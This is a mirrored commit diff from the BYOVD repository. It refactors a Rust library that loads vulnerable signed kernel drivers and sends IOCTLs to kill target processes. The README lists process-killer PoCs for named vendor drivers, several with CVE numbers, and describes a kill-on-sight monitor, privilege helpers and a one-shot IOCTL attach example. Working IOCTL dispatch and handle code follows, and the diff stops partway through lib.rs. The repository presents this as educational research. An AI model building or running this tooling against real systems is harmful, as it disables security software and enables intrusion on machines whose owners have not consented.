mirror of
https://github.com/BlackSnufkin/BYOVD
synced 2026-06-06 15:24:26 +00:00
Refactor byovd-lib into modular layout with low-level API
This commit is contained in:
@@ -30,27 +30,44 @@ This repository contains several PoCs developed for educational purposes, helpin
|
||||
|
||||
## 🏗️ Project Structure
|
||||
|
||||
The project is organized as a **Rust Cargo workspace**. All PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration.
|
||||
The project is organized as a **Rust Cargo workspace**. All PoCs (except K7Terminator) share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration.
|
||||
|
||||
```
|
||||
BYOVD/
|
||||
├── Cargo.toml # Workspace root
|
||||
├── byovd-lib/ # Shared library
|
||||
│ └── src/lib.rs
|
||||
├── BdApiUtil-Killer/ # Uses byovd-lib
|
||||
├── CcProtectt-Killer/ # Uses byovd-lib
|
||||
├── GameDriverX64-Killer/ # Uses byovd-lib
|
||||
├── GoFlyDrv-Killer/ # Uses byovd-lib
|
||||
├── K7Terminator/ # Standalone (LPE + BYOVD modes)
|
||||
├── Ksapi64-Killer/ # Uses byovd-lib
|
||||
├── NSec-Killer/ # Uses byovd-lib
|
||||
├── PoisonX-Killer/ # Uses byovd-lib
|
||||
├── STProcessMonitor-Killer/ # Uses byovd-lib (combined v114 + v2618)
|
||||
├── TfSysMon-Killer/ # Uses byovd-lib
|
||||
├── Viragt64-Killer/ # Uses byovd-lib
|
||||
└── Wsftprm-Killer/ # Uses byovd-lib
|
||||
├── Cargo.toml # Workspace root (deps + release profile)
|
||||
├── Cargo.lock
|
||||
├── README.md
|
||||
├── LICENSE
|
||||
│
|
||||
├── byovd-lib/ # Shared library
|
||||
│ ├── Cargo.toml
|
||||
│ └── src/
|
||||
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
|
||||
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
|
||||
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
|
||||
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
|
||||
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
|
||||
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
|
||||
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
|
||||
│ └── util.rs # to_wstring / to_cstring / get_current_dir
|
||||
│
|
||||
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
|
||||
├── CcProtect-Killer/ # CnCrypt CcProtect
|
||||
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
|
||||
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
|
||||
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
|
||||
├── Ksapi64-Killer/ # Kingsoft ksapi64
|
||||
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
|
||||
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
|
||||
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
|
||||
├── TfSysMon-Killer/ # ThreatFire sysmon
|
||||
├── UnknownKiller/ # unattributed unknown.sys
|
||||
├── Viragt64-Killer/ # Tg Soft viragt64
|
||||
└── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
|
||||
```
|
||||
|
||||
Each `*-Killer/` directory contains its own `Cargo.toml`, `src/main.rs` (the `DriverConfig` impl + CLI), `README.md` (driver hashes + usage), and the matching `.sys` file the binary loads at runtime.
|
||||
|
||||
## 🔧 Building
|
||||
|
||||
**Prerequisites:** Rust toolchain and Visual Studio Build Tools with the Windows SDK.
|
||||
@@ -70,17 +87,25 @@ Binaries are output to `target/release/`. Copy the corresponding `.sys` driver f
|
||||
|
||||
## 📦 byovd-lib
|
||||
|
||||
`byovd-lib` is the shared library that all PoCs (except K7Terminator) are built on. It provides:
|
||||
`byovd-lib` is the shared library that all PoCs (except K7Terminator) are built on. It exposes **two complementary APIs** -- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.
|
||||
|
||||
- **`DriverConfig` trait** -- each PoC implements this to define its driver name, `.sys` filename, device path, IOCTL code, and input buffer format.
|
||||
- **`DriverManager`** -- RAII-based service lifecycle management (create, start, stop, delete).
|
||||
- **`ServiceHandle` / `FileHandle`** -- RAII wrappers that auto-close Windows handles on drop.
|
||||
- **`send_ioctl()`** -- opens the driver device and dispatches the kill IOCTL.
|
||||
- **`run_monitor()`** -- continuously scans for the target process by name and sends the kill IOCTL when found (Ctrl+C to stop).
|
||||
- **`run()`** -- the full BYOVD flow: preflight checks, load driver, monitor & kill, cleanup.
|
||||
- **Helpers** -- `get_pid_by_name()`, `ensure_running_as_local_system()`, `to_wstring()`.
|
||||
### Module layout
|
||||
|
||||
Adding a new driver PoC is straightforward -- implement the trait and call `byovd_lib::run()`:
|
||||
```
|
||||
byovd-lib/src/
|
||||
├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
|
||||
├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
|
||||
├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes)
|
||||
├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
|
||||
├── process.rs # find_pid_by_name / find_all_pids_by_name
|
||||
├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
|
||||
├── privilege.rs # enable_privilege / ensure_running_as_local_system
|
||||
└── util.rs # to_wstring / to_cstring / get_current_dir
|
||||
```
|
||||
|
||||
### High-level API: `DriverConfig` trait + `run()`
|
||||
|
||||
This is what the bundled killers use. Implement the trait, call `byovd_lib::run()`, done.
|
||||
|
||||
```rust
|
||||
use byovd_lib::{DriverConfig, Result};
|
||||
@@ -109,15 +134,72 @@ fn main() -> Result<()> {
|
||||
}
|
||||
```
|
||||
|
||||
`run()` does: `preflight_check` → install service (`SERVICE_DEMAND_START`) → `StartService` → kill-on-sight monitor (Ctrl+C to exit) → stop + delete service.
|
||||
|
||||
Optional trait overrides with their defaults:
|
||||
|
||||
| Method | Default | Purpose |
|
||||
|---|---|---|
|
||||
| `device_access()` | `SERVICE_ALL_ACCESS` | `CreateFileW` access flags |
|
||||
| `skip_unload()` | `false` | Skip driver cleanup (e.g., drivers that BSOD on unload) |
|
||||
| `ignore_ioctl_error()` | `false` | Treat IOCTL failure as success (e.g., NSecKrnl) |
|
||||
| `ioctl_output_size()` | `0` | Expected output buffer size |
|
||||
| `preflight_check()` | `Ok(())` | Pre-launch validation (e.g., LocalSystem check) |
|
||||
| `skip_unload()` | `false` | Skip driver cleanup (e.g. drivers that BSOD on unload) |
|
||||
| `ignore_ioctl_error()` | `false` | Treat IOCTL failure as success (e.g. NSecKrnl reports error on success) |
|
||||
| `ioctl_output_size()` | `0` | Expected output buffer size in bytes |
|
||||
| `preflight_check()` | `Ok(())` | Pre-launch validation (e.g. LocalSystem check) |
|
||||
|
||||
### Low-level API: imperative pieces
|
||||
|
||||
When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.
|
||||
|
||||
**Driver lifecycle** -- `ByovdDriver`:
|
||||
|
||||
```rust
|
||||
use byovd_lib::ByovdDriver;
|
||||
|
||||
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
|
||||
driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK
|
||||
let device = driver.open_device()?; // returns DeviceHandle
|
||||
// ... send IOCTLs ...
|
||||
driver.stop_and_delete()?;
|
||||
```
|
||||
|
||||
**IOCTL dispatch** -- `DeviceHandle` exposes five typed shapes:
|
||||
|
||||
| Method | Use when |
|
||||
|---|---|
|
||||
| `ioctl<I, O>(code, &input, &mut output)` | Both input and output buffers, separate types |
|
||||
| `ioctl_inout<T>(code, &mut data)` | Same buffer for input + output |
|
||||
| `ioctl_in<I>(code, &input)` | Input only, no output buffer |
|
||||
| `ioctl_in_unchecked<I>(code, &input)` | Input only, ignore failure (per-call alternative to `ignore_ioctl_error`) |
|
||||
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Raw pointer escape hatch |
|
||||
|
||||
The typed forms remove the manual `to_ne_bytes()` / `extend_from_slice()` boilerplate when the IOCTL takes a struct (e.g. `{ pid: u32, padding: [u8; 20] }`).
|
||||
|
||||
**Process lookup** -- `find_pid_by_name(name)` (first match) and `find_all_pids_by_name(name)` (all matches, excludes system PIDs ≤ 4).
|
||||
|
||||
**Custom monitor loop** -- `run_monitor_loop(name, interval, |pid| ...)` takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).
|
||||
|
||||
**Privileges** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` for drivers that require explicit token privileges. `ensure_running_as_local_system()` returns an error if the process is not running as `S-1-5-18`.
|
||||
|
||||
**Handle wrappers** -- `WinHandle` (auto-`CloseHandle`) and `ScHandle` (auto-`CloseServiceHandle`) are `Send + Sync` and can be moved across threads.
|
||||
|
||||
### Example: attach to an already-loaded driver, no service lifecycle
|
||||
|
||||
This is what `UnknownKiller --attach` does -- skip SCM entirely, just open the device and fire the IOCTL once:
|
||||
|
||||
```rust
|
||||
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
|
||||
|
||||
fn main() -> Result<()> {
|
||||
let device = DeviceHandle::open("\\\\.\\eb")?;
|
||||
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
|
||||
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
### Back-compat aliases
|
||||
|
||||
`FileHandle` / `ServiceHandle` still resolve to `WinHandle` / `ScHandle`, and `get_pid_by_name` is kept as an alias for `find_pid_by_name`, so older code referencing those names keeps compiling.
|
||||
|
||||
## 💡 POCs
|
||||
Below are the drivers and their respective PoCs available in this repository:
|
||||
@@ -132,6 +214,7 @@ Below are the drivers and their respective PoCs available in this repository:
|
||||
- **[PoisonX-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/PoisonX-Killer)**: Target `PoisonX.sys` from `Microsoft` ([@j3h4ck](https://github.com/j3h4ck/PoisonKiller/) reproduction)
|
||||
- **[STProcessMonitor-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/STProcessMonitor-Killer)**: Targets `STProcessMonitor.sys` from `Safetica` (CVE-2025-70795, supports v11.11.4 and v11.26.18).
|
||||
- **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**: Targets `sysmon.sys` from `ThreatFire System Monitor`.
|
||||
- **[UnknownKiller](https://github.com/BlackSnufkin/BYOVD/tree/main/UnknownKiller)**: Targets `unknown.sys` from an unattributed vendor (driver origin TBD).
|
||||
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`.
|
||||
- **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**: Targets `wsftprm.sys` from `Topaz Antifraud` (CVE-2023-52271).
|
||||
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
use std::ptr::null_mut;
|
||||
|
||||
use winapi::ctypes::c_void;
|
||||
use winapi::shared::minwindef::{DWORD, LPVOID};
|
||||
use winapi::um::errhandlingapi::GetLastError;
|
||||
use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
|
||||
use winapi::um::ioapiset::DeviceIoControl;
|
||||
use winapi::um::winnt::{GENERIC_READ, GENERIC_WRITE, HANDLE};
|
||||
|
||||
use crate::handle::WinHandle;
|
||||
use crate::util::to_wstring;
|
||||
use crate::Result;
|
||||
|
||||
/// Handle to a driver device for sending IOCTLs.
|
||||
pub struct DeviceHandle(WinHandle);
|
||||
|
||||
impl DeviceHandle {
|
||||
/// Open a device with `GENERIC_READ | GENERIC_WRITE` access.
|
||||
pub fn open(device_path: &str) -> Result<Self> {
|
||||
Self::open_with_access(device_path, GENERIC_READ | GENERIC_WRITE)
|
||||
}
|
||||
|
||||
/// Open a device with custom access flags.
|
||||
pub fn open_with_access(device_path: &str, access: u32) -> Result<Self> {
|
||||
let handle = WinHandle::new(unsafe {
|
||||
CreateFileW(
|
||||
to_wstring(device_path).as_ptr(),
|
||||
access,
|
||||
0,
|
||||
null_mut(),
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
null_mut(),
|
||||
)
|
||||
})?;
|
||||
Ok(Self(handle))
|
||||
}
|
||||
|
||||
pub fn as_raw(&self) -> HANDLE {
|
||||
self.0.as_raw()
|
||||
}
|
||||
|
||||
/// Send an IOCTL with typed input + output buffers.
|
||||
pub fn ioctl<I, O>(&self, code: u32, input: &I, output: &mut O) -> Result<u32> {
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
self.0.as_raw(),
|
||||
code,
|
||||
input as *const I as *mut c_void,
|
||||
std::mem::size_of::<I>() as DWORD,
|
||||
output as *mut O as *mut c_void,
|
||||
std::mem::size_of::<O>() as DWORD,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
if success == 0 {
|
||||
return Err(ioctl_error(code));
|
||||
}
|
||||
Ok(bytes_returned)
|
||||
}
|
||||
|
||||
/// Send an IOCTL using the same buffer for input AND output.
|
||||
pub fn ioctl_inout<T>(&self, code: u32, data: &mut T) -> Result<u32> {
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
let size = std::mem::size_of::<T>() as DWORD;
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
self.0.as_raw(),
|
||||
code,
|
||||
data as *mut T as *mut c_void,
|
||||
size,
|
||||
data as *mut T as *mut c_void,
|
||||
size,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
if success == 0 {
|
||||
return Err(ioctl_error(code));
|
||||
}
|
||||
Ok(bytes_returned)
|
||||
}
|
||||
|
||||
/// Send an IOCTL with input only (no output buffer).
|
||||
pub fn ioctl_in<I>(&self, code: u32, input: &I) -> Result<u32> {
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
self.0.as_raw(),
|
||||
code,
|
||||
input as *const I as *mut c_void,
|
||||
std::mem::size_of::<I>() as DWORD,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
if success == 0 {
|
||||
return Err(ioctl_error(code));
|
||||
}
|
||||
Ok(bytes_returned)
|
||||
}
|
||||
|
||||
/// Send an IOCTL without checking the return value.
|
||||
/// Useful for drivers that always report failure even on success (e.g. NSecKrnl).
|
||||
pub fn ioctl_in_unchecked<I>(&self, code: u32, input: &I) {
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
unsafe {
|
||||
DeviceIoControl(
|
||||
self.0.as_raw(),
|
||||
code,
|
||||
input as *const I as *mut c_void,
|
||||
std::mem::size_of::<I>() as DWORD,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Send an IOCTL with raw pointers and byte sizes (escape hatch for unusual buffer shapes).
|
||||
pub fn ioctl_raw(
|
||||
&self,
|
||||
code: u32,
|
||||
in_buf: *mut c_void,
|
||||
in_size: u32,
|
||||
out_buf: *mut c_void,
|
||||
out_size: u32,
|
||||
) -> Result<u32> {
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
self.0.as_raw(),
|
||||
code,
|
||||
in_buf,
|
||||
in_size,
|
||||
out_buf,
|
||||
out_size,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
if success == 0 {
|
||||
return Err(ioctl_error(code));
|
||||
}
|
||||
Ok(bytes_returned)
|
||||
}
|
||||
|
||||
/// Internal helper backing the trait-driven `send_ioctl()`. Takes byte slices
|
||||
/// (matching `DriverConfig::build_ioctl_input` output) and an optional output
|
||||
/// buffer. `success_required = false` mirrors `ignore_ioctl_error()`.
|
||||
pub(crate) fn ioctl_bytes_legacy(
|
||||
&self,
|
||||
code: u32,
|
||||
input: &[u8],
|
||||
output: Option<&mut [u8]>,
|
||||
success_required: bool,
|
||||
) -> Result<u32> {
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
let (out_ptr, out_size) = match output {
|
||||
Some(buf) => (buf.as_mut_ptr() as LPVOID, buf.len() as DWORD),
|
||||
None => (null_mut(), 0),
|
||||
};
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
self.0.as_raw(),
|
||||
code,
|
||||
input.as_ptr() as LPVOID,
|
||||
input.len() as DWORD,
|
||||
out_ptr,
|
||||
out_size,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
if success == 0 && success_required {
|
||||
return Err("IOCTL call failed".into());
|
||||
}
|
||||
Ok(bytes_returned)
|
||||
}
|
||||
}
|
||||
|
||||
fn ioctl_error(code: u32) -> Box<dyn std::error::Error> {
|
||||
format!("IOCTL 0x{:X} failed (error {})", code, unsafe {
|
||||
GetLastError()
|
||||
})
|
||||
.into()
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
use winapi::um::errhandlingapi::GetLastError;
|
||||
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
|
||||
use winapi::um::winnt::HANDLE;
|
||||
use winapi::um::winsvc::{CloseServiceHandle, SC_HANDLE};
|
||||
|
||||
use crate::Result;
|
||||
|
||||
/// RAII wrapper for a Windows `HANDLE`. Auto-closes on drop.
|
||||
pub struct WinHandle(HANDLE);
|
||||
|
||||
unsafe impl Send for WinHandle {}
|
||||
unsafe impl Sync for WinHandle {}
|
||||
|
||||
impl WinHandle {
|
||||
/// Wrap a raw `HANDLE`. Returns an error if it is `INVALID_HANDLE_VALUE` or null.
|
||||
pub fn new(handle: HANDLE) -> Result<Self> {
|
||||
if handle == INVALID_HANDLE_VALUE || handle.is_null() {
|
||||
Err(format!("Invalid handle (error {})", unsafe { GetLastError() }).into())
|
||||
} else {
|
||||
Ok(Self(handle))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn as_raw(&self) -> HANDLE {
|
||||
self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for WinHandle {
|
||||
fn drop(&mut self) {
|
||||
unsafe {
|
||||
CloseHandle(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// RAII wrapper for a Windows Service Control Manager `SC_HANDLE`. Auto-closes on drop.
|
||||
pub struct ScHandle(SC_HANDLE);
|
||||
|
||||
unsafe impl Send for ScHandle {}
|
||||
unsafe impl Sync for ScHandle {}
|
||||
|
||||
impl ScHandle {
|
||||
/// Wrap a raw `SC_HANDLE`. Returns an error if it is null.
|
||||
pub fn new(handle: SC_HANDLE) -> Result<Self> {
|
||||
if handle.is_null() {
|
||||
Err(format!("Invalid service handle (error {})", unsafe { GetLastError() }).into())
|
||||
} else {
|
||||
Ok(Self(handle))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn as_raw(&self) -> SC_HANDLE {
|
||||
self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ScHandle {
|
||||
fn drop(&mut self) {
|
||||
unsafe {
|
||||
CloseServiceHandle(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Back-compat alias for the pre-modular handle name.
|
||||
pub type FileHandle = WinHandle;
|
||||
|
||||
/// Back-compat alias for the pre-modular handle name.
|
||||
pub type ServiceHandle = ScHandle;
|
||||
+81
-407
@@ -2,403 +2,176 @@
|
||||
|
||||
//! Shared BYOVD (Bring Your Own Vulnerable Driver) library.
|
||||
//!
|
||||
//! Provides common abstractions for loading vulnerable kernel drivers,
|
||||
//! managing their lifecycle, and dispatching IOCTL requests to terminate processes.
|
||||
//! Two complementary APIs:
|
||||
//!
|
||||
//! - **High-level (`DriverConfig` trait + [`run`])** — declarative. Each PoC
|
||||
//! implements a small trait describing its driver, then calls [`run`] to
|
||||
//! execute the standard *install → start → monitor → cleanup* flow. This is
|
||||
//! the API the existing killers in this workspace use.
|
||||
//!
|
||||
//! - **Low-level ([`DeviceHandle`], [`ByovdDriver`], [`enable_privilege`],
|
||||
//! [`run_monitor_loop`], ...)** — imperative pieces for killers that need a
|
||||
//! custom flow (attach to an already-loaded driver, fan out to all matching
|
||||
//! PIDs, structured IOCTL buffers, custom retry, etc.).
|
||||
//!
|
||||
//! New killers can mix both APIs.
|
||||
|
||||
pub mod device;
|
||||
pub mod handle;
|
||||
pub mod monitor;
|
||||
pub mod privilege;
|
||||
pub mod process;
|
||||
pub mod service;
|
||||
pub mod util;
|
||||
|
||||
use std::ffi::{CStr, OsStr};
|
||||
use std::mem;
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use std::ptr::null_mut;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
|
||||
use winapi::shared::minwindef::{DWORD, LPVOID};
|
||||
use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
|
||||
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
|
||||
use winapi::um::ioapiset::DeviceIoControl;
|
||||
use winapi::um::processenv::GetCurrentDirectoryW;
|
||||
use winapi::um::tlhelp32::{
|
||||
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
|
||||
};
|
||||
use winapi::um::winnt::{
|
||||
HANDLE, SECURITY_MAX_SID_SIZE, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, SERVICE_KERNEL_DRIVER,
|
||||
WinLocalSystemSid,
|
||||
};
|
||||
use winapi::um::winsvc::{
|
||||
CloseServiceHandle, ControlService, CreateServiceW, DeleteService, OpenSCManagerW,
|
||||
OpenServiceW, SC_HANDLE, SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_CONTROL_STOP,
|
||||
SERVICE_STATUS, StartServiceW,
|
||||
};
|
||||
use winapi::um::winsvc::SERVICE_ALL_ACCESS;
|
||||
|
||||
// ============================================================================
|
||||
// Types
|
||||
// ============================================================================
|
||||
pub use device::DeviceHandle;
|
||||
pub use handle::{FileHandle, ScHandle, ServiceHandle, WinHandle};
|
||||
pub use monitor::{run_monitor_loop, setup_ctrlc_handler};
|
||||
pub use privilege::{enable_privilege, ensure_running_as_local_system};
|
||||
pub use process::{find_all_pids_by_name, find_pid_by_name, get_pid_by_name};
|
||||
pub use service::ByovdDriver;
|
||||
pub use util::{get_current_dir, to_cstring, to_wstring};
|
||||
|
||||
/// Common result type used throughout BYOVD tools.
|
||||
pub type Result<T> = std::result::Result<T, Box<dyn std::error::Error>>;
|
||||
|
||||
const MAX_PATH: usize = 260;
|
||||
const MONITOR_INTERVAL_MS: u64 = 700;
|
||||
const LEGACY_MONITOR_INTERVAL: Duration = Duration::from_millis(700);
|
||||
|
||||
// ============================================================================
|
||||
// RAII Handle Wrappers
|
||||
// DriverConfig — high-level declarative API used by most killers
|
||||
// ============================================================================
|
||||
|
||||
/// RAII wrapper for Windows SC_HANDLE (service control handles).
|
||||
/// Automatically calls `CloseServiceHandle` on drop.
|
||||
pub struct ServiceHandle(SC_HANDLE);
|
||||
|
||||
impl ServiceHandle {
|
||||
pub fn new(handle: SC_HANDLE) -> Option<Self> {
|
||||
if handle.is_null() {
|
||||
None
|
||||
} else {
|
||||
Some(Self(handle))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn as_raw(&self) -> SC_HANDLE {
|
||||
self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ServiceHandle {
|
||||
fn drop(&mut self) {
|
||||
// SAFETY: handle is guaranteed non-null from constructor
|
||||
unsafe {
|
||||
CloseServiceHandle(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// RAII wrapper for Windows HANDLE (file/device handles).
|
||||
/// Automatically calls `CloseHandle` on drop.
|
||||
pub struct FileHandle(HANDLE);
|
||||
|
||||
impl FileHandle {
|
||||
pub fn new(handle: HANDLE) -> Option<Self> {
|
||||
if handle == INVALID_HANDLE_VALUE || handle.is_null() {
|
||||
None
|
||||
} else {
|
||||
Some(Self(handle))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn as_raw(&self) -> HANDLE {
|
||||
self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for FileHandle {
|
||||
fn drop(&mut self) {
|
||||
// SAFETY: handle is guaranteed valid from constructor
|
||||
unsafe {
|
||||
CloseHandle(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Driver Configuration Trait
|
||||
// ============================================================================
|
||||
|
||||
/// Trait that each driver PoC implements to define its specific configuration.
|
||||
/// Trait that each driver PoC implements to describe its specific configuration.
|
||||
///
|
||||
/// The shared library uses this trait to manage the driver lifecycle and
|
||||
/// dispatch IOCTL requests. Each implementation defines the driver-specific
|
||||
/// details: names, paths, IOCTL codes, and buffer formats.
|
||||
pub trait DriverConfig {
|
||||
/// Driver service name (e.g., "BdApiUtil64")
|
||||
/// Driver service name (e.g. `"BdApiUtil64"`).
|
||||
fn driver_name(&self) -> &str;
|
||||
|
||||
/// Driver .sys filename (e.g., "BdApiUtil64.sys")
|
||||
/// Driver `.sys` filename (e.g. `"BdApiUtil64.sys"`).
|
||||
fn driver_file(&self) -> &str;
|
||||
|
||||
/// Device path for CreateFileW (e.g., "\\\\.\\BdApiUtil")
|
||||
/// Device path for `CreateFileW` (e.g. `"\\\\.\\BdApiUtil"`).
|
||||
fn device_path(&self) -> &str;
|
||||
|
||||
/// IOCTL code to send via DeviceIoControl
|
||||
/// IOCTL code to send via `DeviceIoControl`.
|
||||
fn ioctl_code(&self) -> u32;
|
||||
|
||||
/// Desired access flags for CreateFileW on the device.
|
||||
/// Default: SERVICE_ALL_ACCESS (0xF01FF)
|
||||
/// Desired access flags for `CreateFileW` on the device.
|
||||
/// Default: `SERVICE_ALL_ACCESS` (0xF01FF).
|
||||
fn device_access(&self) -> u32 {
|
||||
SERVICE_ALL_ACCESS
|
||||
}
|
||||
|
||||
/// Whether to skip driver unload on cleanup.
|
||||
/// Some drivers (e.g., Viragt64) cause BSOD on unload.
|
||||
/// Skip driver unload on cleanup (e.g. drivers that BSOD on unload).
|
||||
fn skip_unload(&self) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/// Whether to ignore IOCTL error returns.
|
||||
/// Some drivers (e.g., NSecKrnl) report error even on success.
|
||||
/// Ignore IOCTL error returns (e.g. drivers that report error even on success).
|
||||
fn ignore_ioctl_error(&self) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/// Build the raw IOCTL input buffer for a given target.
|
||||
///
|
||||
/// `pid` is the target process ID.
|
||||
/// `process_name` is the target process name (some drivers use name instead of PID).
|
||||
/// `pid` is the target process ID. `process_name` is the target name —
|
||||
/// some drivers take name instead of PID.
|
||||
fn build_ioctl_input(&self, pid: u32, process_name: &str) -> Vec<u8>;
|
||||
|
||||
/// Expected IOCTL output buffer size in bytes (0 = no output).
|
||||
/// Expected IOCTL output buffer size in bytes (0 = no output buffer).
|
||||
fn ioctl_output_size(&self) -> usize {
|
||||
0
|
||||
}
|
||||
|
||||
/// Optional pre-flight check before driver initialization.
|
||||
/// Use for privilege verification (e.g., LocalSystem requirement).
|
||||
/// Optional pre-flight check before driver initialization
|
||||
/// (e.g. privilege verification).
|
||||
fn preflight_check(&self) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Driver Manager
|
||||
// IOCTL dispatch — trait-driven adapter using DeviceHandle internals
|
||||
// ============================================================================
|
||||
|
||||
/// Manages the lifecycle of a kernel driver service:
|
||||
/// creation, start, stop, and deletion.
|
||||
pub struct DriverManager {
|
||||
_sc_manager: ServiceHandle,
|
||||
service: ServiceHandle,
|
||||
}
|
||||
|
||||
impl DriverManager {
|
||||
/// Create or open a driver service.
|
||||
///
|
||||
/// If `driver_path_override` is provided, it is used as the full path to the .sys file.
|
||||
/// Otherwise, the driver file is expected in the current working directory.
|
||||
pub fn new(
|
||||
driver_name: &str,
|
||||
driver_file: &str,
|
||||
driver_path_override: Option<&str>,
|
||||
) -> Result<Self> {
|
||||
println!("[*] Opening Service Control Manager");
|
||||
|
||||
// SAFETY: standard SCM open call
|
||||
let sc_manager = ServiceHandle::new(unsafe {
|
||||
OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE)
|
||||
})
|
||||
.ok_or("Failed to open Service Control Manager")?;
|
||||
|
||||
// Try to open existing service first
|
||||
let service = match ServiceHandle::new(unsafe {
|
||||
OpenServiceW(
|
||||
sc_manager.as_raw(),
|
||||
to_wstring(driver_name).as_ptr(),
|
||||
SERVICE_ALL_ACCESS,
|
||||
)
|
||||
}) {
|
||||
Some(service) => {
|
||||
